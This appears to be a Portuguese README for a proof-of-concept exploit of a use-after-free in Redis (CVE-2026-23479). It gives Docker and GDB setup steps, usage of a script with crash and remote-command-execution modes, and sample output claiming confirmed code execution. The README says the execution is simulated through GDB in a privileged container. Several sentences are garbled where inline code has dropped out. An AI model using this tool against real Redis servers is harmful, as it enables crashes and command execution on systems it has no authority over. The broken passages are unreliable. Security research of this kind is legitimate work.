
Prova de conceito com exploração assistida por GDB (apenas para uso educacional / laboratorial)
Use-After-Free no Redis
unblockClientOnKey()levando à Execução Remota de Código
Prova de conceito com exploração auxiliada por GDB (apenas para fins educacionais / uso em laboratório)
CVE-2026-23479 é uma vulnerabilidade crítica de Use‑After‑Free (UAF) nas versões 7.2.0 a 8.6.2 do Redis.
O bug reside em unblockClientOnKey(), que chama .
Se o cliente for liberado durante essa chamada (por exemplo, devido a evicção), o chamador continua operando sobre um ponteiro pendente → .
Um atacante que consiga moldar o heap após a liberação pode alcançar .
processCommandAndResetClient()Este repositório fornece um PoC auxiliado por GDB que:
freeClient())system() no mesmo ponto⚠️ Importante: Esta não é uma exploração armamentizada. Ela usa GDB dentro de um contêiner Docker privilegiado para simular o que um atacante real poderia alcançar após explorar com sucesso o UAF.
Use-a apenas em seu próprio laboratório ou em sistemas para os quais você tenha permissão explícita de teste.
crash, gdb, rce, full--containerXREAD BLOCK faz o cliente aguardar por dados no stream.pid 1) dentro do contêiner.processCommandAndResetClient – a função chamada quando o cliente bloqueado é reprocessado.XADD no mesmo stream acorda a vítima.gdb: chama freeClient($rdi) → causa deliberadamente um SIGSEGV → prova o UAF.rce: chama system("seu comando") → executa comandos shell arbitrários como o usuário do Redis (root por padrão).O breakpoint é acionado toda vez que um cliente bloqueado é desbloqueado, mostrando que o mesmo caminho de código que contém o UAF também permite execução de código.
| Branch | Faixa Vulnerável |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
O script analisa automaticamente a versão do Redis e informa se ele é vulnerável.
apt (ex.: a oficial redis:8.6.2)--privileged (necessário para ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # deve retornar PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modo | Descrição |
|---|---|
crash | Tenta disparar o UAF via pressão de memória (sem GDB). O Redis pode travar, mas não é garantido. |
gdb | Anexa o GDB e chama freeClient() no breakpoint → força um SIGSEGV (prova o UAF). |
rce | Anexa o GDB e chama system(cmd) no breakpoint → executa um comando shell dentro do contêiner. |
full | Executa crash primeiro; se o Redis não travar, usa gdb como alternativa. |
| Argumento | Padrão | Descrição |
|---|---|---|
target | (obrigatório) | Endereço IP do servidor Redis |
-p, --port | 6379 | Porta do Redis |
-m, --mode | full | Um de crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nome do contêiner Docker |
--cmd | id > /tmp/pwned_by_cve | Comando a ser executado no modo rce |
Nota: Todos os comandos são executados na máquina host, não dentro do contêiner Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
O Redis irá travar após a falha de segmentação.
Reinicie o contêiner:
docker start redis-vuln-local
Reinicie o Redis para garantir um estado limpo:
docker restart redis-vuln-local
Execute o exploit:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Verifique o arquivo de prova:
docker exec redis-vuln-local ls -l /tmp/pwned
Se bem-sucedido, o arquivo existirá, provando que:
system("touch /tmp/pwned");
foi executado dentro do contêiner Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Se o Redis sair inesperadamente (o contêiner não estiver mais em execução), o UAF provavelmente foi disparado.
Reinicie-o com:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Este modo:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
O PoC original tinha o nome do contêiner codificado como env-redis-vuln-1 e continha vários problemas quando executado com versões mais novas do Python.
A versão atualizada introduz as seguintes melhorias:
| Problema | Correção |
|---|---|
| Nome do contêiner codificado | Adicionado o argumento --container e propagado por todas as funções. |
Comando file colocado dentro do bloco commands no script GDB | Movido file /usr/local/bin/redis-server para antes de attach para que o GDB carregue os símbolos corretamente. |
subprocess.run() usado com capture_output=True e stderr=... ao mesmo tempo | Substituído por stdout=subprocess.DEVNULL e stderr=subprocess.DEVNULL. |
Processos GDB obsoletos causando ptrace: Operation not permitted | Adicionado pkill -9 gdb antes de iniciar o GDB em trigger_uaf_gdb() e trigger_rce(). |
| Nenhum feedback quando o GDB falhava silenciosamente | Adicionado registro de depuração para a saída do GDB e melhorada a detecção do arquivo de prova. |
docker stop redis-vuln-local
docker rm redis-vuln-local
Esta ferramenta destina-se exclusivamente a fins educacionais, pesquisa de segurança autorizada e teste de sistemas que você possui ou para os quais tem permissão explícita de avaliação.
O autor não endossa nem incentiva o uso não autorizado ou malicioso.
Sempre obtenha autorização adequada antes de testar qualquer sistema de produção ou de terceiros.
Feito com ❤️ para a comunidade de segurança.
Mantenha-se ético. Mantenha-se seguro.